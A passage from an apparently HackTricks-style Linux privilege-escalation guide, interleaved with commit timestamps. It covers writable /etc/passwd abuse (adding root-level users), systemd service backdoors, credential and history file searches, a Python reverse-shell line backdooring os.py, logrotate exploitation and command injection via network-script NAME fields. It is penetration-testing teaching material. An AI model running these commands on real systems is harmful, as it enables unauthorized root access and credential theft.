Notice that if `Host` is `*` every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue).
2021-10-10 21:09:04 +00:00
The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.\
The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding with the keyword `AllowAgentForwarding` (default is allow).
If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**:
{% content-ref url="ssh-forward-agent-exploitation.md" %}
[ssh-forward-agent-exploitation.md](ssh-forward-agent-exploitation.md)
{% endcontent-ref %}
2022-05-01 13:25:53 +00:00
## Interesting Files
2022-05-01 16:57:45 +00:00
### Profiles files
2022-09-20 02:56:05 +00:00
The file `/etc/profile` and the files under `/etc/profile.d/` are **scripts that are executed when a user runs a new shell**. Therefore, if you can **write or modify any of them you can escalate privileges**.
2020-08-20 14:43:22 +00:00
```bash
2020-08-24 12:46:39 +00:00
ls -l /etc/profile /etc/profile.d/
2020-08-20 14:43:22 +00:00
```
2020-08-24 12:46:39 +00:00
If any weird profile script is found you should check it for **sensitive details**.
2022-05-01 16:57:45 +00:00
### Passwd/Shadow Files
2022-09-20 02:56:05 +00:00
Depending on the OS the `/etc/passwd` and `/etc/shadow` files may be using a different name or there may be a backup. Therefore it's recommended **find all of them** and **check if you can read** them to see **if there are hashes** inside the files:
```bash
2020-08-24 12:46:39 +00:00
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
```
2021-10-10 21:09:04 +00:00
In some occasions you can find **password hashes** inside the `/etc/passwd` (or equivalent) file
```bash
2020-08-24 12:46:39 +00:00
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
```
2022-05-01 13:25:53 +00:00
### Writable /etc/passwd
2020-08-20 14:43:22 +00:00
2022-09-20 02:56:05 +00:00
First, generate a password with one of the following commands.
2020-08-20 14:43:22 +00:00
2021-10-10 21:09:04 +00:00
```
2020-08-20 14:43:22 +00:00
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
```
Then add the user `hacker` and add the generated password.
2021-10-10 21:09:04 +00:00
```
2020-08-20 14:43:22 +00:00
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
```
E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
You can now use the `su` command with `hacker:hacker`
2022-09-20 02:56:05 +00:00
Alternatively, you can use the following lines to add a dummy user without a password.\
2020-08-20 14:43:22 +00:00
WARNING: you might degrade the current security of the machine.
2021-10-10 21:09:04 +00:00
```
2020-08-20 14:43:22 +00:00
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
```
NOTE: In BSD platforms `/etc/passwd` is located at `/etc/pwd.db` and `/etc/master.passwd`, also the `/etc/shadow` is renamed to `/etc/spwd.db`.
2022-09-20 02:56:05 +00:00
You should check if you can **write in some sensitive files**. For example, can you write to some **service configuration file**?
```bash
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
```
For example, if the machine is running a **tomcat** server and you can **modify the Tomcat service configuration file inside /etc/systemd/,** then you can modify the lines:
2021-10-10 21:09:04 +00:00
```
ExecStart=/path/to/backdoor
User=root
Group=root
```
Your backdoor will be executed the next time that tomcat is started.
2022-05-01 16:57:45 +00:00
### Check Folders
2020-08-24 12:46:39 +00:00
2021-10-10 21:09:04 +00:00
The following folders may contain backups or interesting information: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probably you won't be able to read the last one but try)
2020-08-24 12:46:39 +00:00
```bash
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
```
2022-05-01 16:57:45 +00:00
### Weird Location/Owned files
2020-08-24 12:46:39 +00:00
```bash
#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
2022-09-20 02:56:05 +00:00
#Files owned by root, readable by me but not world readable
2020-08-24 12:46:39 +00:00
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
2020-08-24 12:46:39 +00:00
do printf " Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done
```
2022-05-01 16:57:45 +00:00
### Modified files in last mins
2020-08-24 12:46:39 +00:00
```bash
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
```
2022-05-01 16:57:45 +00:00
### Sqlite DB files
2020-08-24 12:46:39 +00:00
```bash
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
```
2022-05-01 16:57:45 +00:00
### \*\_history, .sudo\_as\_admin\_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files
2020-08-24 12:46:39 +00:00
```bash
2023-08-10 10:33:47 +00:00
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
2020-08-24 12:46:39 +00:00
```
2022-05-01 16:57:45 +00:00
### Hidden files
2020-08-24 12:46:39 +00:00
```bash
find / -type f -iname ".*" -ls 2>/dev/null
```
2022-05-01 16:57:45 +00:00
### **Script/Binaries in PATH**
2020-08-24 12:46:39 +00:00
```bash
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
2024-04-16 03:52:03 +00:00
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
2020-08-24 12:46:39 +00:00
```
2022-05-01 16:57:45 +00:00
### **Web files**
2020-08-24 12:46:39 +00:00
```bash
ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null
```
2022-05-01 16:57:45 +00:00
### **Backups**
2020-08-24 12:46:39 +00:00
```bash
2023-08-10 10:28:00 +00:00
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
2020-08-24 12:46:39 +00:00
```
2022-05-01 16:57:45 +00:00
### Known files containing passwords
2020-08-24 12:46:39 +00:00
2021-10-10 21:09:04 +00:00
Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), it searches for **several possible files that could contain passwords**.\
2022-09-20 02:56:05 +00:00
**Another interesting tool** that you can use to do so is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) which is an open source application used to retrieve lots of passwords stored on a local computer for Windows, Linux & Mac.
2020-08-24 12:46:39 +00:00
2022-05-01 16:57:45 +00:00
### Logs
2022-09-20 02:56:05 +00:00
If you can read logs, you may be able to find **interesting/confidential information inside them**. The more strange the log is, the more interesting it will be (probably).\
2021-10-10 21:09:04 +00:00
Also, some "**bad**" configured (backdoored?) **audit logs** may allow you to **record passwords** inside audit logs as explained in this post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
```
2023-01-24 14:43:15 +00:00
In order to **read logs the group** [**adm**](interesting-groups-linux-pe/#adm-group) will be really helpful.
2022-05-01 16:57:45 +00:00
### Shell files
2021-08-18 16:50:47 +00:00
```bash
2022-09-20 02:56:05 +00:00
~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
2021-08-18 16:50:47 +00:00
~/.profile # if it exists, read once if the two above don't exist
2022-09-20 02:56:05 +00:00
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
2021-08-18 16:50:47 +00:00
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell
```
2022-05-01 16:57:45 +00:00
### Generic Creds Search/Regex
2020-08-24 12:46:39 +00:00
2022-09-20 02:56:05 +00:00
You should also check for files containing the word "**password**" in its **name** or inside the **content**, and also check for IPs and emails inside logs, or hashes regexps.\
2020-08-24 12:46:39 +00:00
I'm not going to list here how to do all of this but if you are interested you can check the last checks that [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform.
2022-05-01 13:25:53 +00:00
## Writable files
2020-08-24 12:46:39 +00:00
2022-05-01 16:57:45 +00:00
### Python library hijacking
2022-09-20 02:56:05 +00:00
If you know from **where** a python script is going to be executed and you **can write inside** that folder or you can **modify python libraries**, you can modify the OS library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library).
2021-10-10 21:09:04 +00:00
To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT):
```python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```
2022-05-01 16:57:45 +00:00
### Logrotate exploitation
2024-04-06 16:25:58 +00:00
A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash\_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied.
2020-08-27 20:57:15 +00:00
{% hint style="info" %}
2022-09-20 02:56:05 +00:00
This vulnerability affects `logrotate` version `3.18.0` and older
2020-08-27 20:57:15 +00:00
{% endhint %}
2022-09-20 02:56:05 +00:00
More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
2020-08-27 20:57:15 +00:00
You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten).
2021-10-10 21:09:04 +00:00
This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks.
2022-05-01 16:57:45 +00:00
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
2020-08-20 14:43:22 +00:00
2024-02-07 04:06:18 +00:00
**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f)
2020-08-20 14:43:22 +00:00
If, for whatever reason, a user is able to **write** an `ifcf-<whatever>` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**.
2022-09-20 02:56:05 +00:00
Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d).
2020-08-20 14:43:22 +00:00
2022-09-20 02:56:05 +00:00
In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**.
2020-08-20 14:43:22 +00:00
For example: _/etc/sysconfig/network-scripts/ifcfg-1337_
```bash
NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0
```
2022-09-20 02:56:05 +00:00
(_Note the blank space between Network and /bin/id_)
2020-08-20 14:43:22 +00:00
2022-05-01 16:57:45 +00:00
### **init, init.d, systemd, and rc.d**
2020-08-24 15:33:28 +00:00
2024-02-07 04:06:18 +00:00
The directory `/etc/init.d` is home to **scripts** for System V init (SysVinit), the **classic Linux service management system**. It includes scripts to `start`, `stop`, `restart`, and sometimes `reload` services. These can be executed directly or through symbolic links found in `/etc/rc?.d/`. An alternative path in Redhat systems is `/etc/rc.d/init.d`.
2020-08-24 17:35:11 +00:00
2024-02-07 04:06:18 +00:00
On the other hand, `/etc/init` is associated with **Upstart**, a newer **service management** introduced by Ubuntu, using configuration files for service management tasks. Despite the transition to Upstart, SysVinit scripts are still utilized alongside Upstart configurations due to a compatibility layer in Upstart.
2022-09-20 02:56:05 +00:00
2024-02-07 04:06:18 +00:00
**systemd** emerges as a modern initialization and service manager, offering advanced features such as on-demand daemon starting, automount management, and system state snapshots. It organizes files into `/usr/lib/systemd/` for distribution packages and `/etc/systemd/system/` for administrator modifications, streamlining the system administration process.
2020-08-24 15:33:28 +00:00
2022-05-01 13:25:53 +00:00
## Other Tricks
2022-05-01 16:57:45 +00:00
### NFS Privilege escalation
2021-10-10 21:09:04 +00:00
{% content-ref url="nfs-no_root_squash-misconfiguration-pe.md" %}
2021-11-04 00:33:15 +00:00
[nfs-no\_root\_squash-misconfiguration-pe.md](nfs-no\_root\_squash-misconfiguration-pe.md)
2021-10-10 21:09:04 +00:00
{% endcontent-ref %}
2022-05-01 16:57:45 +00:00
### Escaping from restricted Shells
2021-10-10 21:09:04 +00:00
{% content-ref url="escaping-from-limited-bash.md" %}
[escaping-from-limited-bash.md](escaping-from-limited-bash.md)
{% endcontent-ref %}
2022-05-01 16:57:45 +00:00
### Cisco - vmanage
2020-08-25 09:31:20 +00:00
2021-10-10 21:09:04 +00:00
{% content-ref url="cisco-vmanage.md" %}
[cisco-vmanage.md](cisco-vmanage.md)
{% endcontent-ref %}
2020-08-25 09:31:20 +00:00
2022-05-01 13:25:53 +00:00
## Kernel Security Protections
* [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check)
* [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map)
2022-05-01 13:25:53 +00:00
## More help
2021-11-04 00:33:15 +00:00
[Static impacket binaries](https://github.com/ropnop/impacket\_static\_binaries)
2022-05-01 13:25:53 +00:00
## Linux/Unix Privesc Tools
2022-05-01 16:57:45 +00:00
### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
2021-10-10 21:09:04 +00:00
**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\
**Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\
**Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
**Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
**BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\
**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
2021-11-04 00:33:15 +00:00
**Mestaploit:** _**multi/recon/local\_exploit\_suggester**_\
2021-10-10 21:09:04 +00:00
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
2022-05-01 13:25:53 +00:00
## References
2024-04-06 16:25:58 +00:00
* [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\
* [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\
* [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)\\
* [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)\\
* [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)\\
* [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)\\
* [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)\\
* [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)\\
2024-02-07 04:06:18 +00:00
* [https://github.com/rtcrowley/linux-private-i](https://github.com/rtcrowley/linux-private-i)
* [https://www.linux.com/news/what-socket/](https://www.linux.com/news/what-socket/)
* [https://muzec0318.github.io/posts/PG/peppo.html](https://muzec0318.github.io/posts/PG/peppo.html)
* [https://www.linuxjournal.com/article/7744](https://www.linuxjournal.com/article/7744)
* [https://blog.certcube.com/suid-executables-linux-privilege-escalation/](https://blog.certcube.com/suid-executables-linux-privilege-escalation/)
* [https://juggernaut-sec.com/sudo-part-2-lpe](https://juggernaut-sec.com/sudo-part-2-lpe)
* [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux)
2024-04-06 16:25:58 +00:00
* [https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f)
2024-02-07 04:06:18 +00:00
* [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
2022-04-28 16:01:33 +00:00
2024-07-18 16:03:34 +00:00
{% hint style="success" %}
2024-07-18 16:14:56 +00:00
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-18 16:03:34 +00:00
<details>
2022-04-28 16:01:33 +00:00
2024-07-18 16:03:34 +00:00
<summary>Support HackTricks</summary>
2023-12-30 20:49:49 +00:00
2024-07-18 16:03:34 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-07-18 16:03:34 +00:00
{% endhint %}